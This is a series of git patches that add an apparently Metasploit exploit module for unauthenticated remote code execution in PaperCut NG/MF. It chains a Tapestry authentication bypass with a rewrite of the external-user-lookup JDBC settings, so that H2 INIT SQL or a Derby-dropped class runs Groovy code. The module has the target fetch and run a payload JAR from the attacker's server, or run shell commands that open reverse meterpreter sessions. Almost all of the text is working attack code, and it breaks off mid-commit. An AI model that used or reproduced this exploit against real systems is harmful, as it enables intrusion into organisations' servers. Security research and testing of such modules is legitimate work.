From 4041b7a2d66c26a80f5a44304584008d88d4e7df Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 28 Aug 2026 21:34:26 +0100 Subject: [PATCH 01/13] placeholder --- .../papercut_ng_external_user_lookup_rce.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb new file mode 100644 index 0000000000000..f899ceca410a6 --- /dev/null +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -0,0 +1,87 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PaperCut NG/MF Unauthenticated RCE', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => ['sfewer-r7'], + 'References' => [ + ['CVE', '2026-81578'], + ['CVE', '2026-82078'], + ['URL', 'https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/'], + ['URL', 'https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/'] + ], + 'DisclosureDate' => '2026-08-27', + 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => [ + [ + # Tested with: + # * java/meterpreter_reverse_tcp + 'Java', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA + } + ], + [ + # Tested with: + # * cmd/windows/http/x64/meterpreter_reverse_tcp + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => "\x00" + } + } + ], + [ + 'Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => "\x00" + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 9191, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to the PaperCut application', '/app']) + ]) + end + + def check; end + + def exploit; end +end From 666b00bb80e18de6501fa026186e51eab91e8684 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sat, 29 Aug 2026 15:09:11 +0100 Subject: [PATCH 02/13] add in exploit --- data/exploits/CVE-2026-82078/Metasploit.class | Bin 0 -> 945 bytes data/exploits/CVE-2026-82078/Metasploit.java | 21 + .../papercut_ng_external_user_lookup_rce.rb | 429 +++++++++++++++++- 3 files changed, 444 insertions(+), 6 deletions(-) create mode 100644 data/exploits/CVE-2026-82078/Metasploit.class create mode 100644 data/exploits/CVE-2026-82078/Metasploit.java diff --git a/data/exploits/CVE-2026-82078/Metasploit.class b/data/exploits/CVE-2026-82078/Metasploit.class new file mode 100644 index 0000000000000000000000000000000000000000..4075b69abd70989cee7f55975b896cdd6c0ad36b GIT binary patch literal 945 zcmZ`&T~8B16g|_gY1c(yQA9+s0@_yXs#Gkt8fnqQ0AkXLY5HJ>c4!xtU9w$k{6#+F z0}ze=0DqM6?gvt1*@v0AbMKsc@407x{r>h7KmpGbL=feOsfZ)NFt#iDLN|rg(Koku zWy@tqlnu*ppEE==*)5LbKS4FuF|3XP1s6C}6(hKK>i_5(rd|;}xl~|KI?`R0ExRop zhM7!u-On=+G9P+NNsKY@w=0eH&6QOJ8YVa{skn?uhN<&jQI%~UonbN)VEa7;<(0C{ zN(xiB$}z3t8fF;MK9XhFdaEm(o^<(VOtW%+WOgfwG*Q!WY`gzC?{%Jk*%zjQIm~k`sJM+g45MfKS548QD)^4=yb=47 zVPRNj1I_vmh`%gDWM6u~cU9cOeTEdVzaibO-DY?(1f}^ON;n{&L`UwJqy#-cpq_O+ z;CQIw5f)EpG9-{@Vpx59k1Agt%o*saG?+8I8cZ5qaXe<2I3uOrb?i@K+mswnNL5sl z=pC50K{}09NnH%da?1<_J3=#U?QMvIy7z)XeQjCN@oADCv!UdW#uEJn-WLIl9SK^C zWR26#XpiTP!45q?l34!hZulpl_#M1)f|NFTgz>Mqa*XS1+RYQ((lW6hm}^8eUOPgL pkr8P`b9BzX|AN@sp%1=D$qRIPO6VMsJ|~OJ5}69^8m(od{s4}S>g)gj literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-82078/Metasploit.java b/data/exploits/CVE-2026-82078/Metasploit.java new file mode 100644 index 0000000000000..9593d8e0d7437 --- /dev/null +++ b/data/exploits/CVE-2026-82078/Metasploit.java @@ -0,0 +1,21 @@ +// Compile for Java 8 with: javac --release 8 -g:none Metasploit.java +// The module replaces the ten-character class name and PAYLOAD constant at runtime. + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +public class Metasploit { + static { + try { + String source = new String( + Base64.getDecoder().decode("PAYLOAD"), + StandardCharsets.UTF_8 + ); + + Class.forName("groovy.util.Eval") + .getMethod("me", String.class) + .invoke(null, source); + } catch (Throwable ignored) { + } + } +} diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index f899ceca410a6..16a161fee13a1 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -16,14 +16,26 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'PaperCut NG/MF Unauthenticated RCE', + 'Name' => 'PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)', 'Description' => %q{ + This module exploits an authentication bypass in PaperCut NG and MF. A crafted Apache Tapestry + complex-direct request invokes privileged ConfigEditor components through the public Home + page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose + initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby + procedure to write a temporary Groovy bootstrap class to the application classpath, then loads + it as a database driver. The Java target loads a payload class over HTTP, while the command + targets execute a Windows or Linux command payload directly. + + This module was successfully tested against: + * PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1 + * PaperCut NG 26.0.3 (Build 76225) + * PaperCut NG 25.0.11 (Build 75758) }, 'License' => MSF_LICENSE, 'Author' => ['sfewer-r7'], 'References' => [ - ['CVE', '2026-81578'], - ['CVE', '2026-82078'], + ['CVE', '2026-81578'], # The authentication bypass + ['CVE', '2026-82078'], # The RCE through external user lookup ['URL', 'https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/'], ['URL', 'https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/'] ], @@ -34,6 +46,7 @@ def initialize(info = {}) [ # Tested with: # * java/meterpreter_reverse_tcp + # * java/meterpreter/reverse_tcp 'Java', { 'Platform' => 'java', @@ -53,6 +66,8 @@ def initialize(info = {}) } ], [ + # Tested with: + # * cmd/linux/http/x64/meterpreter_reverse_tcp 'Linux Command', { 'Platform' => ['unix', 'linux'], @@ -70,7 +85,7 @@ def initialize(info = {}) }, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES], 'Reliability' => [REPEATABLE_SESSION] } ) @@ -81,7 +96,409 @@ def initialize(info = {}) ]) end - def check; end + def check + # PaperCut's public Error page includes the complete product version. This keeps the check read-only and on the + # same service as the vulnerable complex-direct endpoint. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/Error' + } + ) + + return CheckCode::Unknown('The target did not respond.') unless res + + return CheckCode::Safe('The target did not return the expected page.') unless res.code == 200 && res.body.include?('') + + match = res.body.match(/PaperCut (?NG|MF)\s+(?\d+\.\d+\.\d+)\s+\(Build\s+(?\d+)\)/) + + return CheckCode::Detected('PaperCut was detected, but its version could not be determined.') unless match + + @papercut_version = Rex::Version.new("#{match[:release]}.#{match[:build]}") + + @papercut_major = match[:release].to_i + + version_string = "PaperCut #{match[:product]} #{@papercut_version}." + + # Product versions 23.x and below are not supported by the vendor. They may be vulnerable/exploitable, but this has not been confirmed. + return CheckCode::Detected(version_string) if @papercut_major <= 23 + + # Future product version, e.g. 27.x will not be vulnerable. + return CheckCode::Detected(version_string) if @papercut_major > 26 + + fixed_versions = { + 'MF' => { + 24 => Rex::Version.new('24.1.9.76515'), + 25 => Rex::Version.new('25.0.12.76509'), + 26 => Rex::Version.new('26.0.4.76507') + }, + 'NG' => { + 24 => Rex::Version.new('24.1.9.76516'), + 25 => Rex::Version.new('25.0.12.76510'), + 26 => Rex::Version.new('26.0.4.76508') + } + } + + fixed_version = fixed_versions.dig(match[:product], @papercut_major) + + return CheckCode::Detected(version_string) unless fixed_version + + return CheckCode::Appears(version_string) if @papercut_version < fixed_version + + CheckCode::Safe(version_string) + end + + def exploit + fail_with(Failure::Unknown, 'The PaperCut version was not determined, run check first.') unless @papercut_major + + # The forged listener renders Home, so initialize that stateful Tapestry page in the session before submitting + # ConfigEditor forms. The Error page used by check does not initialize Home's page state. + home = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true + ) + + fail_with(Failure::UnexpectedReply, 'The target did not return the PaperCut Home page') unless home_response?(home) + + # The Java target retrieves a Metasploit payload class. Command targets instead embed an OS command in the + # request and therefore do not need the Java HTTP class-loader service. + groovy_source = if target['Platform'] == 'java' + payload_service = start_java_payload_service + groovy_class_loader_source(payload_service[:uri], payload_service[:class_name]) + else + groovy_command_source(payload.encoded, target['Platform'] == 'win') + end + + # A class name is only populated for the two-stage Derby strategy and later signals that the class must be loaded. + bootstrap_class = nil + + # H2 only needs a non-existent card number to reach the configured database. Derby replaces this with a query that + # returns the bootstrap class bytes for its export procedure. + lookup_value = rand_text_alphanumeric(16) + + if @papercut_major >= 26 + print_status("PaperCut #{@papercut_version} detected; using H2 to execute Groovy bootstrap") + + # PaperCut 26 bundles H2. Its INIT SQL executes while the connection opens, before PaperCut prepares and runs + # the configured lookup query. The query itself is benign and retains PaperCut's required placeholder. + # Selecting H2 makes PaperCut load the bundled driver when external lookup opens its database connection. + driver = 'org.h2.Driver' + + # A random in-memory database avoids persistent database files. H2 evaluates INIT as it opens the connection, + # exposing Groovy as an SQL function and passing it the generated command or Java-payload bootstrap. + url = "jdbc:h2:mem:#{rand_text_alpha_lower(8)};INIT=#{h2_escape(h2_statement(groovy_source))}" + + # PaperCut requires the lookup SQL to contain {cardnumber}. This harmless query returns the supplied random value; + # payload execution has already occurred while H2 processed INIT. + sql = 'VALUES CAST({cardnumber} AS VARCHAR(32672))' + else + print_status("PaperCut #{@papercut_version} detected; using Derby to drop and load a Java class and execute Groovy bootstrap") + + # PaperCut 24 and 25 do not bundle H2, but do bundle Derby. Its export procedure writes the BLOB returned by + # the attacker-controlled query to a classpath directory. Selecting that class as the driver then initializes it. + # Keep the randomized name the same length as the Metasploit template name patched in the class constant pool. + bootstrap_class = rand_text_alpha('Metasploit'.length) + + # Derby requires a companion CSV for the export; its contents are not otherwise used by the exploit. + csv_path = "tmp/#{rand_text_alpha_lower(8)}.csv" + + # Derby writes the exported BLOB here, placing the bootstrap class in a PaperCut classpath directory. + class_path = "lib/#{bootstrap_class}.class" + + # Append a Groovy stub to delete the .csv and .class file we end up dropping. + groovy_source << "\nnew java.io.File(\"#{class_path}\").delete()\nnew java.io.File(\"#{csv_path}\").delete()" + + # Selecting the bundled Derby driver lets the first lookup call Derby's built-in export procedure. + driver = 'org.apache.derby.jdbc.EmbeddedDriver' + + # Use a fresh in-memory Derby database so the procedure is available without creating a persistent database. + url = "jdbc:derby:memory:#{rand_text_alpha_lower(8)};create=true" + + # PaperCut replaces {cardnumber} with a bound parameter. Derby interprets that parameter as the query whose BLOB + # result is written to class_path, while csv_path receives the companion export data. + sql = "CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber}, '#{csv_path}', NULL, NULL, NULL, '#{class_path}')" + + # This nested Derby query returns the patched class bytes as a BLOB. X'...' is a hexadecimal binary literal; + # PaperCut binds the complete query string above as the export procedure's first argument. + lookup_value = "VALUES CAST(X'#{derby_bootstrap_class(bootstrap_class, groovy_source).unpack1('H*')}' AS BLOB)" + end + + # These are the only four settings needed by either database strategy. This is CVE-2026-82078. + exploit_config = { + 'user-lookup.db-driver' => driver, + 'user-lookup.db-url' => url, + 'user-lookup.id-to-username-sql' => sql, + 'user-lookup.enabled' => 'Y' + } + + begin + print_status('Setting config...') + + exploit_config.each do |name, value| + vprint_status("Setting #{name} - #{value}") + + fail_with(Failure::UnexpectedReply, "Failed to update #{name}") unless update_config_option(name, value) + end + + print_status('Triggering the external user lookup') + + res = trigger_external_lookup(lookup_value) + + print_warning('The lookup request did not return a Home response; the payload may still have executed') unless home_response?(res) + + if bootstrap_class + # Stop calling the export procedure before loading the new class. DatabaseUtils invokes Class.forName on the + # configured driver before opening the connection, which executes the bootstrap's static initializer. + fail_with(Failure::UnexpectedReply, 'Failed to reset the lookup query') unless update_config_option( + 'user-lookup.id-to-username-sql', + 'VALUES CAST({cardnumber} AS VARCHAR(32672))' + ) + + fail_with(Failure::UnexpectedReply, 'Failed to select the bootstrap class') unless update_config_option( + 'user-lookup.db-driver', + bootstrap_class + ) + + # A second lookup makes DatabaseUtils load the newly selected driver class. Class.forName executes its static + # initializer, which evaluates the Groovy payload; this value is only an arbitrary card number for the lookup. + trigger_external_lookup(rand_text_alphanumeric(16)) + end + ensure + # The bypass can submit ConfigEditor forms but cannot render that protected page to read the prior values. Restore + # PaperCut's factory defaults, disabling lookup first to minimize the time any partial configuration remains live. + factory_config = { + 'user-lookup.enabled' => 'N', + 'user-lookup.id-to-username-sql' => 'select user_name from users_table where card_number = {cardnumber}', + 'user-lookup.db-url' => '', + 'user-lookup.db-driver' => '' + } + + print_status('Resetting config...') + + factory_config.each do |name, value| + vprint_status("Resetting #{name} - #{value}") + + next if update_config_option(name, value) + + print_warning("Failed to update #{name}") + end + end + + handler + end - def exploit; end + private + + def complex_direct_request(component_page, component_path, vars_post = nil, method: 'POST') + # Tapestry 3 encodes this as direct/stateful/render-page/component-page/component-path. Home is deliberately the + # public render page, while component_page names the protected page whose listener is invoked. PaperCut's flawed + # authentication checks the former but not the latter. + # + # Only the literal stateful value "1" enables Tapestry's stale-session guard; any other value is accepted as off. + # The session cookie is still retained because PaperCut's form rewind state spans these requests. + opts = { + 'method' => method, + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + # POST requests impersonate forms submitted by PaperCut itself and must pass its same-origin request checks. + 'headers' => { + 'Origin' => full_uri(''), + 'Referer' => full_uri(target_uri.path) + }, + 'vars_get' => { + # This is CVE-2026-81578. + 'service' => "direct/#{rand_text_alpha_lower(8)}/Home/#{component_page}/#{component_path}" + } + } + + opts['vars_post'] = vars_post if vars_post + + send_request_cgi(opts) + end + + def home_response?(res) + # Successful forged listeners finish by rendering the selected public carrier + # page (Which for the auth bypass is hardcoded to be Home in complex_direct_request). + res&.code == 200 && res.body.include?('') + end + + def update_config_option(name, value) + # ConfigEditor is a stateful two-step UI: quickFindForm selects the named property and records the filtered table + # in the session, then $Form submits the edit. sp and FormN identify the Tapestry page-state/form rewind sequence. + return false unless home_response?(complex_direct_request( + 'ConfigEditor', + 'quickFindForm', + { + 'sp' => 'S0', + 'Form0' => '$TextField,doQuickFind,clear', + '$TextField' => name, + 'doQuickFind' => 'Go' + } + )) + + # Searching for the SQL property also returns its adjacent .user-mapping property. Tapestry therefore expects the + # component fields for both table rows during form rewind, even though only the first value is updated. + fields = if name == 'user-lookup.id-to-username-sql' + { + 'sp' => 'S1', + 'Form1' => '$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0', + '$TextField$0' => value, + '$TextField$0$0' => 'USERNAME', + '$Submit' => 'Update' + } + else + { + 'sp' => 'S1', + 'Form1' => '$TextField$0,$Submit,$Submit$0', + '$TextField$0' => value, + '$Submit' => 'Update' + } + end + + home_response?(complex_direct_request('ConfigEditor', '$Form', fields)) + end + + def trigger_external_lookup(card_number) + # User List Quick Find falls back to treating an unmatched search as a card ID, opening the configured external + # database connection. For H2 the marker is inert data; for Derby it is the query exported into the class file. + complex_direct_request( + 'UserList', + '$QuickFind.$Form', + { + 'sp' => 'S0', + 'Form0' => '$TextField,$Submit,$Submit$0', + '$TextField' => card_number, + '$Submit' => 'Go' + } + ) + end + + def derby_bootstrap_class(class_name, source) + # This Java 8 class has only a static initializer, which decodes and evaluates the supplied Groovy source. Patching + # its two constant-pool strings avoids requiring javac on the Metasploit host and keeps the class name randomized. + klass = ::File.binread( + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-82078', 'Metasploit.class') + ) + + encoded_source = Rex::Text.encode_base64(source) + + fail_with(Failure::BadConfig, 'The generated Groovy bootstrap is too large') if encoded_source.length > 0xffff + + class_replaced = klass.sub!("\x00\x0aMetasploit", "\x00\x0a#{class_name}") + + source_replaced = klass.sub!("\x00\x07PAYLOAD", "#{[encoded_source.length].pack('n')}#{encoded_source}") + + fail_with(Failure::BadConfig, 'The Derby bootstrap class is missing its patch placeholders') unless class_replaced && source_replaced + + klass + end + + def groovy_class_loader_source(payload_uri, payload_class) + identifiers = Rex::RandomIdentifier::Generator.new(language: :java) + + result = rand_text_alpha_lower(8) + + # The Groovy bootstrap downloads the generated JAR directly from Metasploit and loads its randomized manifest entry + # point with an isolated URLClassLoader. Run main on a daemon thread so an interactive payload cannot block the H2 + # lookup and its enclosing Tapestry request. The thread retains the JAR loader as its context class loader so payload + # classes and resources that are resolved lazily can still be read from the JAR. When main returns, closing the loader + # releases and deletes the temporary jar_cache file created by the JRE for a remote JAR. + # Eval.me (see h2_statement) returns the final random string (result) to H2's CALL instead of making H2 convert a + # Thread or reflection object. + <<~GROOVY + def #{identifiers[:loader]} = new java.net.URLClassLoader([new java.net.URL("#{payload_uri}")] as java.net.URL[]) + def #{identifiers[:payload]} = #{identifiers[:loader]}.loadClass("#{payload_class}") + Thread.startDaemon { + def #{identifiers[:thread]} = Thread.currentThread() + def #{identifiers[:original_loader]} = #{identifiers[:thread]}.getContextClassLoader() + try { + #{identifiers[:thread]}.setContextClassLoader(#{identifiers[:loader]}) + #{identifiers[:payload]}.main(new String[0]) + } finally { + #{identifiers[:thread]}.setContextClassLoader(#{identifiers[:original_loader]}) + #{identifiers[:loader]}.close() + } + } + "#{result}" + GROOVY + end + + def groovy_command_source(command, is_windows) + identifiers = Rex::RandomIdentifier::Generator.new(language: :java) + + # Base64 keeps payload quotes and shell metacharacters out of the nested HTTP form, JDBC URL, SQL, and Groovy + # quoting layers. The decoded command is passed as one argument to the platform shell. + encoded_command = Rex::Text.encode_base64(command) + + # /d disables cmd.exe AutoRun commands and /s gives consistent /c quote handling. Linux uses the stock POSIX shell. + command_array = is_windows ? "[\"cmd.exe\",\"/d\",\"/s\",\"/c\",#{identifiers[:command]}]" : "[\"/bin/sh\",\"-c\",#{identifiers[:command]}]" + + result = rand_text_alpha_lower(8) + + # ProcessBuilder.start returns a Process, which H2 cannot reliably convert into an SQL value. Make the final + # expression a simple random string after the process has started. + <<~GROOVY + def #{identifiers[:command]} = new String( + java.util.Base64.getDecoder().decode("#{encoded_command}"), + java.nio.charset.StandardCharsets.UTF_8 + ) + new ProcessBuilder(#{command_array} as String[]).start() + "#{result}" + GROOVY + end + + def h2_statement(source) + # CREATE ALIAS exposes PaperCut's bundled Groovy evaluator as an H2 routine; CALL evaluates the generated source. + "CREATE ALIAS PCEXEC FOR 'groovy.util.Eval.me(java.lang.String)';CALL PCEXEC('#{source}')" + end + + def h2_escape(statement) + # H2 uses unescaped semicolons to separate JDBC URL properties. Escape backslashes first, then semicolons, so the + # entire compound CREATE ALIAS/CALL statement reaches the INIT property. + statement.gsub('\\') { '\\\\' }.gsub(';') { '\\;' } + end + + # For ARCH_JAVA payloads we serve them out as a JAR hosted on a HttpServer. Metasploit hardcoded "metasploit.Payload" + # as the entry point. We can randomize this via encoded_jar(random: true), however we need to both extract the new random + # entry point (the Main class name in the JAR) for the Groovy bootstrap, but also we need to serve this randomized JAR + # to the target with a custom HttpServer path handler. + + def start_java_payload_service + # Metasploit's Java payload generator rewrites the fixed "metasploit" package when random is enabled. Read the + # resulting entry point from the manifest so the Groovy loader invokes the randomized class name. + payload_jar = payload.encoded_jar(random: true) + + payload_class = payload_jar.manifest.to_s[/^Main-Class:\s+([^\r\n]+)/, 1] + + fail_with(Failure::BadConfig, 'The generated Java payload JAR has no Main-Class entry') unless payload_class + + @java_payload_jar = payload_jar.pack + + start_service( + 'Uri' => { + 'Path' => "/#{rand_text_alpha_lower(8)}.jar", + 'Proc' => proc { |cli, request| java_payload_jar_request(cli, request) } + } + ) + + { + uri: get_uri, + class_name: payload_class + } + end + + def java_payload_jar_request(cli, request) + vprint_status("#{request.method} #{request.uri} requested") + + return send_not_found(cli) unless %w[HEAD GET].include?(request.method) + + send_response( + cli, + request.method == 'HEAD' ? '' : @java_payload_jar, + 'Content-Type' => 'application/java-archive' + ) + end end From 94611136e1fe4858b0e32851f67de16dc882ee49 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sat, 29 Aug 2026 17:37:11 +0100 Subject: [PATCH 03/13] cache version info so exploit not dependant on check (e.g. when AutoCheck is false --- .../papercut_ng_external_user_lookup_rce.rb | 91 ++++++++++++------- 1 file changed, 57 insertions(+), 34 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index 16a161fee13a1..ee6d078758b57 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -97,36 +97,24 @@ def initialize(info = {}) end def check - # PaperCut's public Error page includes the complete product version. This keeps the check read-only and on the - # same service as the vulnerable complex-direct endpoint. - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), - 'keep_cookies' => true, - 'vars_get' => { - 'service' => 'page/Error' - } - ) - - return CheckCode::Unknown('The target did not respond.') unless res - - return CheckCode::Safe('The target did not return the expected page.') unless res.code == 200 && res.body.include?('') - - match = res.body.match(/PaperCut (?NG|MF)\s+(?\d+\.\d+\.\d+)\s+\(Build\s+(?\d+)\)/) - - return CheckCode::Detected('PaperCut was detected, but its version could not be determined.') unless match - - @papercut_version = Rex::Version.new("#{match[:release]}.#{match[:build]}") - - @papercut_major = match[:release].to_i + papercut = papercut_info + + case papercut[:status] + when :unreachable + return CheckCode::Unknown(papercut[:message]) + when :not_found + return CheckCode::Safe(papercut[:message]) + when :version_unknown + return CheckCode::Detected(papercut[:message]) + end - version_string = "PaperCut #{match[:product]} #{@papercut_version}." + version_string = "PaperCut #{papercut[:product]} #{papercut[:version]}." # Product versions 23.x and below are not supported by the vendor. They may be vulnerable/exploitable, but this has not been confirmed. - return CheckCode::Detected(version_string) if @papercut_major <= 23 + return CheckCode::Detected(version_string) if papercut[:major] <= 23 # Future product version, e.g. 27.x will not be vulnerable. - return CheckCode::Detected(version_string) if @papercut_major > 26 + return CheckCode::Detected(version_string) if papercut[:major] > 26 fixed_versions = { 'MF' => { @@ -141,17 +129,24 @@ def check } } - fixed_version = fixed_versions.dig(match[:product], @papercut_major) + fixed_version = fixed_versions.dig(papercut[:product], papercut[:major]) return CheckCode::Detected(version_string) unless fixed_version - return CheckCode::Appears(version_string) if @papercut_version < fixed_version + return CheckCode::Appears(version_string) if papercut[:version] < fixed_version CheckCode::Safe(version_string) end def exploit - fail_with(Failure::Unknown, 'The PaperCut version was not determined, run check first.') unless @papercut_major + papercut = papercut_info + + case papercut[:status] + when :unreachable + fail_with(Failure::Unreachable, papercut[:message]) + when :not_found, :version_unknown + fail_with(Failure::UnexpectedReply, papercut[:message]) + end # The forged listener renders Home, so initialize that stateful Tapestry page in the session before submitting # ConfigEditor forms. The Error page used by check does not initialize Home's page state. @@ -179,8 +174,8 @@ def exploit # returns the bootstrap class bytes for its export procedure. lookup_value = rand_text_alphanumeric(16) - if @papercut_major >= 26 - print_status("PaperCut #{@papercut_version} detected; using H2 to execute Groovy bootstrap") + if papercut[:major] >= 26 + print_status("PaperCut #{papercut[:version]} detected; using H2 to execute Groovy bootstrap") # PaperCut 26 bundles H2. Its INIT SQL executes while the connection opens, before PaperCut prepares and runs # the configured lookup query. The query itself is benign and retains PaperCut's required placeholder. @@ -195,7 +190,7 @@ def exploit # payload execution has already occurred while H2 processed INIT. sql = 'VALUES CAST({cardnumber} AS VARCHAR(32672))' else - print_status("PaperCut #{@papercut_version} detected; using Derby to drop and load a Java class and execute Groovy bootstrap") + print_status("PaperCut #{papercut[:version]} detected; using Derby to drop and load a Java class and execute Groovy bootstrap") # PaperCut 24 and 25 do not bundle H2, but do bundle Derby. Its export procedure writes the BLOB returned by # the attacker-controlled query to a classpath directory. Selecting that class as the driver then initializes it. @@ -286,12 +281,40 @@ def exploit print_warning("Failed to update #{name}") end end - - handler end private + def papercut_info + return @papercut_info if @papercut_info + + # PaperCut's public Error page includes the complete product version. This keeps discovery read-only and on the + # same service as the vulnerable complex-direct endpoint. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/Error' + } + ) + + return { status: :unreachable, message: 'The target did not respond.' } unless res + + return { status: :not_found, message: 'The target did not return the expected page.' } unless res.code == 200 && res.body.include?('') + + match = res.body.match(/PaperCut (?NG|MF)\s+(?\d+\.\d+\.\d+)\s+\(Build\s+(?\d+)\)/) + + return { status: :version_unknown, message: 'PaperCut was detected, but its version could not be determined.' } unless match + + @papercut_info = { + status: :success, + product: match[:product], + version: Rex::Version.new("#{match[:release]}.#{match[:build]}"), + major: match[:release].to_i + } + end + def complex_direct_request(component_page, component_path, vars_post = nil, method: 'POST') # Tapestry 3 encodes this as direct/stateful/render-page/component-page/component-path. Home is deliberately the # public render page, while component_page names the protected page whose listener is invoked. PaperCut's flawed @@ -461,7 +484,7 @@ def h2_escape(statement) statement.gsub('\\') { '\\\\' }.gsub(';') { '\\;' } end - # For ARCH_JAVA payloads we serve them out as a JAR hosted on a HttpServer. Metasploit hardcoded "metasploit.Payload" + # For ARCH_JAVA payloads we server them out as a JAR hosted on a HttpServer. Metasploit hardcoded "metasploit.Payload" # as the entry point. We can randomize this via encoded_jar(random: true), however we need to both extract the new random # entry point (the Main class name in the JAR) for the Groovy bootstrap, but also we need to serve this randomized JAR # to the target with a custom HttpServer path handler. From 191943b5c2ee94a16142ecd2f3a4afac0216102c Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 00:49:14 +0100 Subject: [PATCH 04/13] ARCH_JAVA is now in-memory for v26.x targets --- .../papercut_ng_external_user_lookup_rce.rb | 102 ++++++++++++------ 1 file changed, 67 insertions(+), 35 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index ee6d078758b57..20046e126c40e 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -23,8 +23,10 @@ def initialize(info = {}) page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby procedure to write a temporary Groovy bootstrap class to the application classpath, then loads - it as a database driver. The Java target loads a payload class over HTTP, while the command - targets execute a Windows or Linux command payload directly. + it as a database driver. The Java target serves an executable payload JAR and a generic + memory-backed JAR loader over HTTP. Its payload classes and resources remain in memory; however, + versions 24 and 25 still require the temporary Derby bootstrap class. The command targets execute + a Windows or Linux command payload directly. This module was successfully tested against: * PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1 @@ -47,6 +49,7 @@ def initialize(info = {}) # Tested with: # * java/meterpreter_reverse_tcp # * java/meterpreter/reverse_tcp + # * java/shell_reverse_tcp 'Java', { 'Platform' => 'java', @@ -81,7 +84,8 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 9191, - 'SSL' => false + 'SSL' => false, + 'SRVSSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -158,11 +162,16 @@ def exploit fail_with(Failure::UnexpectedReply, 'The target did not return the PaperCut Home page') unless home_response?(home) - # The Java target retrieves a Metasploit payload class. Command targets instead embed an OS command in the - # request and therefore do not need the Java HTTP class-loader service. + # The Java target retrieves an executable payload JAR and its generic memory loader. Command targets instead + # embed an OS command in the request and therefore do not need the Java HTTP service. groovy_source = if target['Platform'] == 'java' payload_service = start_java_payload_service - groovy_class_loader_source(payload_service[:uri], payload_service[:class_name]) + groovy_class_loader_source( + payload_service[:jar_uri], + payload_service[:loader_uri], + payload_service[:loader_class], + payload_service[:main_class] + ) else groovy_command_source(payload.encoded, target['Platform'] == 'win') end @@ -186,6 +195,10 @@ def exploit # exposing Groovy as an SQL function and passing it the generated command or Java-payload bootstrap. url = 